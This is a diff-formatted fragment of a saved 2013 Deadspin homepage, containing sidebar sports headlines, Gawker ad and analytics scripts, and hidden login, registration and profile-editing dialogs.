+ jQuery('#ad_container_13339816').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":13339816,"variant":"default","tags":[],"headline":"This date in Deadspin history: Stephen A.","issued":"Thu, 24 Jan 2013 14:15:51 +0000","post_id":"59 [...]
+</script></div> </div>
+
+ <div class="text">
+
+
+ <span class="headline-txt">
+<p><a href="http://deadspin.com/5978601/" class="headline" style="display: inline; text-decoration: none;">This date in Deadspin history: Stephen A. Smith </a><a href="http://deadspin.com/348647/stephen-a-smith-is-serious-about-this-blogging-business">started blogging</a><a href="http://deadspin.com/5978601/" class="headline" style="display: inline; text-decoration: none;">.</a></p> </span>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978560" class="postid_5978560 issued_1359036000 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978560/the-squash-tournament-of-champions-is-underway-and-thats-why-youre-late-for-your-train">
+ <img class="thumb" src="./deadspin_files/xsmall(23).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_75469447" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_75469447" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(14).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_75469447').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":75469447,"variant":"default","tags":["thedailyscreencap","squash","squashtournamentofchampions","news","sports"],"headline":"The Squash Tournament Of [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/the-daily-screencap/" class="tag modfont">
+ <span class="taglink">the daily screencap</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">9:00 AM</span>
+ <span class="views ui-light airport modfont" style="opacity: 1;" title="8149 pageviews, 233 visitors, 27 comments" alt="8149 pageviews, 233 visitors, 27 comments">8,149</span>
+
+ <a class="headline" href="http://deadspin.com/5978560/the-squash-tournament-of-champions-is-underway-and-thats-why-youre-late-for-your-train">
+ <span class="headline-txt">The Squash Tournament Of Champions Is Underway, And That’s Why You’re Late For Your Train<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li class="date-separator marked ui-border"><span class="date modfont">Wednesday, January 23, 2013</span></li>
+ <li id="rbpost_5978513" class="postid_5978513 issued_1358986020 video ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink autoplay" href="http://deadspin.com/5978513/deadspin-up-all-night-girl-from-the-north-country">
+ <img class="thumb" src="./deadspin_files/xsmall(24).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-video.png" class="icon video">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_59643907" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_59643907" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(9).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_59643907').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":59643907,"variant":"default","tags":["duan!","deadspinupallnight"],"headline":"Deadspin Up All Night: Girl From The North Country","issued":"Thu, 24 J [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/duan%21/" class="tag modfont">
+ <span class="taglink">DUAN!</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">7:07 PM</span>
+ <span class="views ui-light airport modfont" style="opacity: 1;" title="6731 pageviews, 108 visitors, 92 comments" alt="6731 pageviews, 108 visitors, 92 comments">6,731</span>
+
+ <a class="headline autoplay" href="http://deadspin.com/5978513/deadspin-up-all-night-girl-from-the-north-country">
+ <span class="headline-txt">Deadspin Up All Night: Girl From The North Country<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978377" class="postid_5978377 issued_1358984400 video ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink autoplay" href="http://deadspin.com/5978377/jamarcus-russell-who-now-weighs-more-than-300-pounds-is-thinking-comeback">
+ <img class="thumb" src="./deadspin_files/xsmall(25).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-video.png" class="icon video">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_35799881" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_35799881" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_35799881').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":35799881,"variant":"default","tags":["jamarcusrussell"],"headline":"JaMarcus Russell, Who Now Weighs More Than 300 Pounds, Is Thinking Comeback","issu [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/jamarcus-russell/" class="tag modfont">
+ <span class="taglink">jamarcus russell</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">6:40 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="49538 pageviews, 2456 visitors, 70 comments" alt="49538 pageviews, 2456 visitors, 70 comments">49,538</span>
+
+ <a class="headline autoplay" href="http://deadspin.com/5978377/jamarcus-russell-who-now-weighs-more-than-300-pounds-is-thinking-comeback">
+ <span class="headline-txt">JaMarcus Russell, Who Now Weighs More Than 300 Pounds, Is Thinking Comeback<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ </ul>
+
+ <a href="" id="load_more" class="stories modfont">More Stories…</a>
+
+ <ul id="post_list_cache" style="display: none;"><li></li></ul>
+
+ <ul id="sponsored_posts" style="display: none;"><!-- sponsored -->
+ <li id="rbpost_5974174" class="postid_5974174 issued_1358269140 sponsored promoted_1358283600 gallery ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5974174/chris-pauls-possibly-real-secret-twin-brother-cliff-is-now-on-twitter/gallery/">
+ <img class="thumb" src="./deadspin_files/xsmall(26).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-gallery.png" class="icon gallery">
+ </a>
+ </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/5974174/chris-pauls-possibly-real-secret-twin-brother-cliff-is-now-on-twitter/gallery/" class="tag modfont">
+ <span class="taglink">Sponsored</span>
+ </a>
+
+ <span class="date ui-light airport modfont">Jan 15, 2013</span>
+ <span class="views ui-light airport modfont" style="display: none">0</span>
+
+ <a class="headline" href="http://deadspin.com/5974174/chris-pauls-possibly-real-secret-twin-brother-cliff-is-now-on-twitter/gallery/">
+ <span class="headline-txt">Chris Paul’s Possibly Real Secret Twin Brother, Cliff, Is Now On Twitter<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="ad_tracker-rightbar-sp default"><!-- widget container -->
+<div id="ad_container_76294244" class="ad_container 1x1 default" style="display: none;">
+ <iframe id="ad_iframe_76294244" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="1" height="1"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --></div> <div class="clear"></div>
+ </div>
+ </li>
+
+
+<li></li>
+</ul>
+ <script type="text/javascript">
+ jQuery('#sponsored_posts').load('/index.php?op=rightbar_sponsored&mode=headline&prev=', function() {
+ if (window.sponsored !== undefined && 1 ) {
+ window.sponsored.displaySponsoredPost();
+ window.sponsored.displayOldSponsoredPosts();
+ if (GawkerClientside !== undefined && GawkerClientside.widgets !== undefined && GawkerClientside.widgets.minirightbar !== undefined) {
+ GawkerClientside.widgets.minirightbar[0].refreshPostlist();
+ }
+ }
+ });
+ </script>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <div id="footer">
+ <div class="ad_640x90 default"></div> <ul id="about_gawker_media">
+ <li><a rel="nofollow" href="http://deadspin.com/about/" title="Click here to go to About">About</a></li>
+ <li><a rel="nofollow" href="http://help.gawker.com/home/" title="Click here to go to Help">Help</a></li>
+ <li><a rel="nofollow" href="http://gawker.com/jobsatgawker" title="Jobs">Jobs</a></li>
+ <li><a title="Click here to go to Legal" href="http://advertising.gawker.com/legal/" rel="nofollow">Legal</a></li>
+ <li><a title="Click here to go to Legal" href="http://advertising.gawker.com/legal/privacy-policy/" rel="nofollow">Privacy</a></li>
+ <li><a title="Click here to go to Permissions" href="http://advertising.gawker.com/legal/permissions/" rel="nofollow">Permissions</a></li>
+ <li><a title="Click here to go to Advertising" href="http://advertising.gawker.com/" rel="nofollow">Advertising</a></li>
+ <li><a title="RSS Feed" href="http://deadspin.com/about/#subscribe">Subscribe</a></li>
+ <li><a title="Email a tip" href="mailto:tips at deadspin.com">Send a tip</a></li>
+ </ul>
+
+<div id="snippet_rightbar_notification_templates"> <div id="notif_templates" style="display: none;">
+ <span class="star">%userName% starred %you%</span>
+ <span class="unstar">%userName% took away %your% star</span>
+ <span class="promote">%userName% promoted <a href="http://deadspin.com/%7CcommentLink%7C" rel="nofollow">%your% comment</a></span>
+ <span class="demote">%userName% demoted <a href="http://deadspin.com/%7CcommentLink%7C" rel="nofollow">%your% comment</a></span>
+ <span class="reply">%userName% replied to <a href="http://deadspin.com/%7CcommentLink%7C" rel="nofollow">%your% comment</a></span>
+ <span class="approve">%userName% approved %you%</span>
+ <span class="pending">%userName% took away %your% approval</span>
+ <span class="removed">%userName% has banned %you%</span>
+ <span class="message">%userName% sent you <a href="http://deadspin.com/#messageLink#" rel="nofollow">a message</a></span>
+ <span class="ssomigrate">Convert your account. <a href="http://deadspin.com/#" rel="nofollow" class="presence_control cn_ssousermigrate_link">More info »</a></span>
+ <div id="notif_container">
+ <div class="post notification">
+ <h6 class="headline">%text%</h6>
+ </div>
+ </div>
+ <div id="notif_header">
+ <strong>You have %count% new notification%notifplural%</strong>, click to view
+ </div>
+ </div></div><script type="text/javascript">Snippets.push("snippet_rightbar_notification_templates", "\t\t\t\t<div id=\"notif_templates\" style=\"display: none;\">\n\t\t\t\t\t<span class=\"star\">%userName% starred %you%<\/span>\n\t\t\t\t\t<span class=\"unstar\">%userName% took away %your% star<\/span>\n\t\t\t\t\t<span class=\"promote\">%userName% promoted <a href=\"|commentLink|\" rel=\"nofollow\">%your% comment<\/a><\/span>\n\t\t\t\t\t<span class=\"demote\">%userName% demoted <a hre [...]
+<script>
+ var ganjaHost = 'Host: GM27<br/>Generated on: 2013-01-25 01:48:23';
+</script>
+ </div>
+
+ </div>
+
+ <div id="trackers">
+ <script type="text/javascript">
+ var _gaq = _gaq || [];
+ var authorName = "None";
+
+
+ _gaq.push(['_setAccount', 'UA-142218-13']);
+ _gaq.push(['_setDomainName', '.deadspin.com']);
+ _gaq.push(['_setCustomVar', 3, "Author", authorName, 3]); // Page level
+
+ // Uses same algorithm, but different cookie as we use in trackers.js to track New Uniques
+ if (!jQuery.cookie('gaNewUnique') || jQuery.cookie('gaNewUnique') < ((new Date().getTime()) - 2592000000)) {
+ _gaq.push(['_setCustomVar', 4, "NewUnique", authorName, 3]); // Page level
+ jQuery.cookie('gaNewUnique', (new Date().getTime()), {path: '/', expires: 365});
+ }
+
+ _gaq.push(['_trackPageview']);
+ _qoptions = { tags:"Gawker Geek" };
+ _qacct="p-d4P3FpSypJrlA";
+ gawker_getScript(('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js');
+ </script>
+
+ <script type="text/javascript">
+ var quant_script = gawker_getScript("http://edge.quantserve.com/quant.js", function() {
+ window.quantcastRun = 1;
+ });
+ </script>
+
+ <div class="ad_chartbeat_end default"><script type="text/javascript">
+ var _sf_async_config={
+ uid: 3012,
+ domain: 'deadspin.com',
+ path: '/'
+ };
+ </script></div>
+ <div id="tracker_loader"><!---Quantcast tags for our "Chic" or "Geek" sites, otherwise use regular tag -->
+<!-- Start Quantcast tag -->
+<!-- runScript -->
+
+<!-- runScript -->
+
+<!-- End Quantcast tag -->
+
+<!-- NOSCRIPT part is in the static views trackers.php -->
+<!-- END Nielsen -->
+</div>
+ <img id="gawker_tracker_image" style="display: none;" height="0" width="0" class="track" alt="track">
+
+
+<div id="parsely-root" style="display: none">
+ <div id="parsely-cfg" data-parsely-site="deadspin.com"></div>
+<script async="" src="./deadspin_files/p.js"></script></div> </div>
+
+ <div id="presence_external_templates" class="presence_control_external instapaper_ignore"><div class="commentform_container" style="display: none;">
+ </div>
+
+ <div class="modal_overlay presence_control ic editor_control user_control mail2control invitecontrol cn_overlay" style="display:none;"></div>
+
+ <div class="modalpopup modal dialog cn_html5_dialog presence_control" style="display:none;width:520px;">
+ <span class="cancel cn_html5_cancel presence_control"></span>
+ <div class="text">
+ <p>To view this post in HD mode, <br>you'll need to use Internet Explorer 9, Chrome, Firefox 4 or Safari 5.</p><a href="http://deadspin.com/#" class="presence_control cn_html5_cancel">Cancel</a>
+ </div>
+ </div>
+
+ <!-- div class="modal modalpopup login presence_control cn_login_dialog" style="display: none; width: 500px;">
+ <div class="inner">
+ <div class="caption modfont">Login</div>
+ <a href="#" class="presence_control cancel cn_login_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <div class="pwlogin">
+ <span class="legend modfont">Enter your username and password</span>
+ <form class="presence_control cn_login_form" method="post">
+ <input class="presence_control cn_redirect_to" type="hidden" name="redirect_to" value="" />
+ <input type="hidden" value="1" name="remember" class="presence_control cn_remember" />
+ <div class="row">
+ <div class="validationmessage loading menubar_login_indicator presence_control cn_login_indicator" style="display:none"><span class="spinner"></span><span class="msg">Logging in...</span></div>
+ <input id="login_username" name="username" type="text" value="" maxlength="255" class="textfield validate valid_nonempty presence_control cn_username" placeholder="username" />
+ <div class="validationmessage username_validmsg msg_valid_nonempty" style="display: none;">Please enter a username.</div>
+ <input id="login_password" name="password" type="password" value="" maxlength="255" class="textfield validate valid_nonempty presence_control cn_password" placeholder="password" />
+ <div class="validationmessage password_validmsg msg_valid_nonempty" style="display: none;">Please enter your password.</div>
+ <input type="submit" value="Login" class="button_login presence_control cn_login_button button default"/>
+ <span class="pipe">|</span>
+ <a href="#" class="reset presence_control cn_toggleresetpwdialog">Reset Password</a>
+ <div class="presence_control cn_loginmessage"></div>
+ </div>
+ </form>
+ </div>
+ <div class="content">
+ <div class="providers-container">
+ <span class="legend modfont">Or</span>
+ <p>You can also log in to Deadspin using Facebook, Twitter or Google.</p>
+ <p><a href="" class="presence_control cn_register_or_login">Create an account or login »</a>
+ <p>For more information, consult the <a target="_blank" title="Help" href="http://help.gawker.com/">help section</a> or <a target="_blank" title="Legal terms" href="http://advertising.gawker.com/legal/">legal terms</a>.</p>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div -->
+
+ <div class="modal modalpopup ssologin presence_control cn_ssologin_dialog" style="display: none; width: 500px;">
+ <div class="inner">
+ <div class="caption modfont">Create an account or login</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_login_cancel" title="Cancel"></a>
+ <div class="account_linked text" style="background-color: #D7D7D7; display: none;">
+ <span><strong>This account has been linked to Facebook, Google or Twitter. Please login with one of the services below.</strong></span>
+ </div>
+ <div class="text">
+ <div class="content">
+ <p>Log in to Deadspin using Facebook, Twitter or Google. If you wish to remain anonymous, we suggest creating a separate Twitter or Google account.</p>
+ <div class="providers modfont">
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_facebook">
+ <span class="provider">Login with Facebook</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_twitter">
+ <span class="provider">Login with Twitter</span>
+ </a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_google">
+ <span class="provider">Login with Google</span>
+ </a>
+ </div>
+ <p>For more information, visit our <a href="http://help.gawker.com/" target="_blank">help desk</a>.
+ By logging in to Deadspin, you are agreeing to the <a href="http://advertising.gawker.com/legal" target="_blank">terms of service</a>.</p>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <!-- reset password -->
+
+ <div class="modal modalpopup resetPassword presence_control cn_resetpw_dialog" style="display: none; width:500px;">
+ <div class="inner">
+ <div class="caption modfont">Reset password</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_resetpw_cancel"></a>
+
+ <div class="text" id="resetPassword1">
+ <p id="noAsciiNotify" style="display: none;">
+ You password contains non US-ASCII characters. We recommend you reset your password due to a flaw in handling non US-ASCII characters.
+ </p>
+ <p>Please enter the email address associated with your account to have it reset.</p>
+
+ <form action="http://deadspin.com/index.php?op=emailpassword" method="post" class="presence_control cn_resetpw_form">
+ <div class="row">
+ <p><label for="resetpw_email">Email:</label><input type="text" id="resetpw_email" name="email" maxlength="255" class="resetmail textfield validate valid_nonempty valid_email presence_control cn_resetpwemail"></p>
+ <p>Are you a person? Please type in the text below:</p>
+ </div>
+ <div class="row captcha">
+ <div id="resetPwRecaptcha" style="display: none;">6LfSor8SAAAAAKQnBZMKP3wYxbQWb_sjCvAaFxos</div>
+ </div>
+ <div class="row">
+ <span class="menubar_login_indicator presence_control cn_resetpw_indicator" style="display: none;"></span>
+ <a href="http://deadspin.com/#" class="button_reset button presence_control cn_resetpw_submit thin">Reset</a>
+ <div class="validationmessage email_validmsg msg_valid_nonempty" style="display: none;">Please enter your email address.</div>
+ <div class="validationmessage email_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ <input type="submit" value="Reset" class="presence_control hiddenSubmit">
+ <div class="presence_control cn_resetpwmessage"></div>
+ </div>
+ </form>
+
+ </div>
+ <div class="text" id="resetPassword2" style="display: none;">
+ <p>A temporary password has been emailed to you. If you do not receive the password reset email, please be sure to check your spam folder. In some cases, it can take up to 10 minutes for your email service to receive the email.</p>
+ <p>If you still haven't received the email, please contact <a href="mailto:help at gawker.com">help at gawker.com</a> for further assistance.</p>
+ </div>
+ </div>
+ </div>
+
+ <!-- new user -->
+
+ <div class="modal dialog register presence_control cn_register_dialog" style="width: 550px; display: none;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Register</div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+
+ <div class="text">
+ <p class="presence_control cn_register_copy">You can log in to Gawker using your Facebook or Twitter accounts. If you wish to remain anonymous, we suggest creating a separate Twitter account. You will need to be approved before your comments will display on the site.</p>
+ <p>Want to know more? Consult the <a target="_blank" title="Comment FAQ" href="http://gawker.com/commentfaq/">Comment FAQ</a> and <a target="_blank" title="Legal terms" href="http://advertising.gawker.com/legal/">legal terms</a>.</p>
+
+ <p>
+ Register via
+ </p>
+
+ <form action="http://deadspin.com/index.php?op=register" method="post" class="presence_control cn_register_form">
+ <input class="presence_control cn_register_invitecode" type="hidden" name="code" value="">
+ <div class="row">
+
+ <span class="oauth-links">
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_facebook"><img src="./deadspin_files/oauth-facebook.png" title="Register via Facebook Connect"></a>
+ <a href="http://deadspin.com/#" class="presence_control cn_login_oauth type_twitter"><img src="./deadspin_files/oauth-twitter.png" title="Register via Twitter"></a>
+ </span>
+
+ <a id="next_results" class="button presence_control cn_register_cancel thin" href="http://deadspin.com/#" style="">
+ Cancel</a> <input type="submit" value="Register" class="presence_control hiddenSubmit">
+ <div class="presence_control cn_registermessage"></div>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal dialog emailreminder presence_control cn_emailreminder_dialog" style="width: 550px; display: none;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Register</div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+
+ <div class="text">
+ <p class="presence_control cn_emailreminder_copy">One last thing!</p>
+ <p class="presence_control cn_emailreminder_copy2">While we don't require an email address to sign up, consider adding one to your account. This will give you the ability to reset a lost or stolen password. </p>
+
+ <form action="http://deadspin.com/index.php?op=register" method="post" class="presence_control cn_emailreminder_form">
+ <input class="presence_control cn_emailreminder_invitecode" type="hidden" name="code" value="">
+ <input type="hidden" id="emailreminder_username" name="username" maxlength="255" class="presence_control cn_emailreminder_username">
+ <input type="hidden" id="emailreminder_password" name="password" maxlength="255" class="presence_control cn_emailreminder_password">
+ <input type="hidden" id="emailreminder_confirm_password" name="confirm_password" maxlength="255" class="presence_control cn_emailreminder_confirm_password">
+ <input type="hidden" id="emailreminder_remember" name="remember" class="presence_control cn_emailreminder_remember">
+ <div class="row">
+ <label for="emailreminder_email">Email (not published):</label><input type="text" id="emailreminder_email" name="email" maxlength="255" class="validate valid_email presence_control cn_emailreminder_email">
+ <div class="validationmessage email_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row"><label for="emailreminder_newsletter">Sign me up for Gawker's email newsletter</label><input type="checkbox" id="emailreminder_newsletter" name="newsletter" class="presence_control cn_emailreminder_newsletter" checked="yes"></div>
+ <div class="row">
+ <span class="menubar_login_indicator presence_control cn_emailreminder_indicator" style="display: none;"><img width="16" height="16" alt="registration sent, waiting for reply" src="./deadspin_files/progressIndicator_roller_f0f0f0.gif"></span>
+ <input type="submit" value="Add email" class="presence_control cn_emailreminder_submit">
+ <input type="button" value="No thanks" class="presence_control cn_emailreminder_cancel">
+ <input type="hidden" name="noemail" value="0" class="presence_control cn_emailreminder_noemail">
+ <div class="presence_control cn_emailremindermessage"></div>
+ </div>
+ </form>
+ </div>
+ </div>
+ </div>
+
+ <!-- commenting settings -->
+
+ <div class="modal modalpopup commentSettings presence_control cn_commentsettings_dialog" style="display: none; width: 220px;">
+ <div class="inner">
+ <div class="caption modfont">Viewing options</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_commentsettings_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <form action="http://deadspin.com/index.php?op=setprofile" method="post" class="presence_control cn_commentsettings_form settings">
+ <input type="hidden" name="mode" value="comment_preferences">
+
+ <p>Comments:</p>
+ <div class="row">
+ <input type="radio" name="setCommentViewMode" class="presence_control cn_cvm_featured" value="featured" id="commentsettings_commentViewModeFeatured">
+ <label for="commentsettings_commentViewModeFeatured">Promoted only</label>
+ </div>
+ <div class="row">
+ <input type="radio" name="setCommentViewMode" class="presence_control cn_cvm_hidden" value="hidden" id="commentsettings_commentViewModeHidden">
+ <label for="commentsettings_commentViewModeHidden">All</label>
+ </div>
+ <p>Replies:</p>
+ <div class="row">
+ <input type="radio" name="commentRepliesMode" class="presence_control cn_crm_collapsed" value="collapsed" id="commentsettings_commentRepliesCollapsed">
+ <label for="commentsettings_commentRepliesCollapsed">Collapsed</label>
+ </div>
+ <div class="row">
+ <input type="radio" name="commentRepliesMode" class="presence_control cn_crm_expanded" value="expanded" id="commentsettings_commentRepliesExpanded">
+ <label for="commentsettings_commentRepliesExpanded">Expanded</label>
+ </div>
+ <div class="row submit">
+ <span class="menubar_login_indicator presence_control cn_commentsettings_indicator" style="display: none;"><img width="16" height="16" alt="profile setting data sent, waiting for reply" src="./deadspin_files/progressIndicator_roller.gif"></span>
+ <input type="submit" value="Save" class="presence_control button cn_commentsettings_submit">
+ <input type="button" value="Cancel" class="presence_control button cn_commentsettings_cancel">
+ <div class="presence_control cn_commentsettings_message"></div>
+ </div>
+ </form>
+
+ </div>
+ </div>
+ </div>
+
+ <!-- profile edit -->
+
+ <div class="modal modalpopup profile_edit presence_control cn_profileedit_dialog" style="display: none; width: 350px;">
+ <div class="inner">
+ <div class="caption modfont">Edit profile</div>
+ <a href="http://deadspin.com/#" class="presence_control cancel cn_profileedit_cancel" title="Cancel"></a>
+
+ <div class="text">
+ <div class="row burner presence_control cn_profileedit_burnermessage" style="display: none;">
+ Your profile cannot be updated because it is a burner account.
+ Please visit the <a href="http://help.gawker.com/forums/20709631-burners">FAQ</a> for more information.
+ </div>
+ <form action="http://deadspin.com/index.php?op=setprofile" method="post" class="presence_control cn_profileedit_form">
+ <input type="hidden" name="mode" value="profile">
+
+ <div class="row feature_newcomments_olduser">
+ <label id="label_profileedit_newUsername" for="profileedit_newUsername">Username:</label><span id="profileedit_newUsername_text" name="profileedit_newUsername_text" class="presence_control cn_profileedit_newUsername_text"></span><input type="text" id="profileedit_newUsername" name="newUsername" maxlength="255" class="presence_control textfield cn_profileedit_newUsername" style="display: none;">
+ </div>
+
+ <div class="row feature_newcomments_olduser">
+ <span id="profileedit_newUsername_change" name="profileedit_newUsername_change" class="presence_control cn_profileedit_newUsername_change small"><a href="http://deadspin.com/#">(change username)</a></span>
+ <span style="display:none;" id="profileedit_newUsername_change_warn" name="profileedit_newUsername_change_warn" class="presence_control cn_profileedit_newUsername_change_warn small">(You are only able to change your username once.)</span>
+ <div class="validationmessage username_validmsg msg_valid_username" style="display: none;">That username is invalid and/or taken.</div>
+ </div>
+
+ <div class="row feature_newcomments_olduser">
+ <label id="label_profileedit_displayName" for="profileedit_displayName">Screen name:</label><input type="text" id="profileedit_displayName" name="displayName" maxlength="255" class="presence_control textfield cn_profileedit_displayname">
+ </div>
+
+ <div class="row feature_newcomments_newuser">
+ <label for="profileedit_screenName">Screen name:</label><span id="profileedit_screenName" name="profileedit_screenName" class="presence_control cn_profileedit_screenName"></span>
+ </div>
+
+ <div class="row">
+ <label for="profileedit_url">Website:</label><input type="text" id="profileedit_url" name="url" maxlength="255" class="validate valid_url presence_control textfield cn_profileedit_url">
+ <div class="validationmessage url_validmsg msg_valid_url" style="display: none;">Please provide a valid URL.</div>
+ </div>
+ <div class="row">
+ <label for="profileedit_email">Email:</label><input type="text" id="profileedit_email" name="email" maxlength="255" class="validate valid_email presence_control textfield cn_profileedit_email">
+ <span class="small">(not viewable to others)</span>
+ <div class="validationmessage email_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="profileedit_aimname">AIM:</label><input type="text" id="profileedit_aimname" name="aimname" maxlength="255" class="presence_control textfield cn_profileedit_aimname">
+ </div>
+ <div class="row presence_control cn_profileedit_contactname_panel" style="display:none;">
+ <label for="profileedit_contactName">Contact name:</label><input type="text" name="contactName" id="profileedit_contactName" maxlength="255" class="presence_control textfield cn_profileedit_contactname" disabled="true">
+ </div>
+ <div class="row presence_control cn_profileedit_contactemail_panel" style="display:none;">
+ <label for="profileedit_contactEmail">Contact Email:</label><input type="text" name="contactEmail" id="profileedit_contactEmail" maxlength="255" class="validate valid_email presence_control textfield cn_profileedit_contactemail" disabled="true">
+ <div class="validationmessage contactEmail_validmsg msg_valid_email" style="display: none;">Please enter a valid email address.</div>
+ </div>
+ <div class="row">
+ <label for="profileedit_twitterUsername">Twitter name:</label> @<input type="text" name="twitterUsername" id="profileedit_twitterUsername" maxlength="255" class="presence_control textfield cn_profileedit_twitterusername">
+ </div>
+ <div class="row">
+ <label for="profileedit_facebookUrl">Facebook profile URL:</label><input type="text" name="facebookUrl" id="profileedit_facebookUrl" maxlength="255" class="presence_control textfield cn_profileedit_facebookurl">
+ </div>
+ <div class="row">
+ <label for="profileedit_isFacebookFanPage"></label><input type="checkbox" name="isFacebookFanPage" id="profileedit_isFacebookFanPage" maxlength="255" class="presence_control cn_profileedit_isFacebookFanPage" value="true">This is a Fan Page
+ </div>
+ <div class="row">
+ <label for="profileedit_googleplusUrl">Google+ profile URL:</label><input type="text" name="googleplusUrl" id="profileedit_googleplusUrl" maxlength="255" class="presence_control textfield cn_profileedit_googleplusurl">
+ </div>
+ <div class="row submit">
+ <span class="menubar_login_indicator presence_control cn_profileedit_indicator" style="display: none;"></span>
+ <input type="submit" value="Save profile" class="presence_control cn_profileedit_submit button">
+ <input type="button" value="Cancel" class="presence_control cn_profileedit_cancel button">
+ <div class="presence_control cn_profileedit_message"></div>
+ </div>
+ </form>
+ <div class="footer">
+ <a href="http://deadspin.com/#" class="presence_control cn_toggleavataruploaddialog">Change avatar image</a>
+ </div>
+ </div>
+ </div>
+ </div>
+
+ <div class="modal dialog editreminder presence_control cn_editreminder_dialog" style="width: 550px; display: none;">
+ <div class="inner">
+ <div class="caption marked-head ui-border modfont">Edit profile</div>
+ <img class="siteIcon" src="./deadspin_files/apple-touch-icon.png">
+
+ <div class="text">
+ <p class="presence_control cn_editreminder_copy">One last thing!</p>
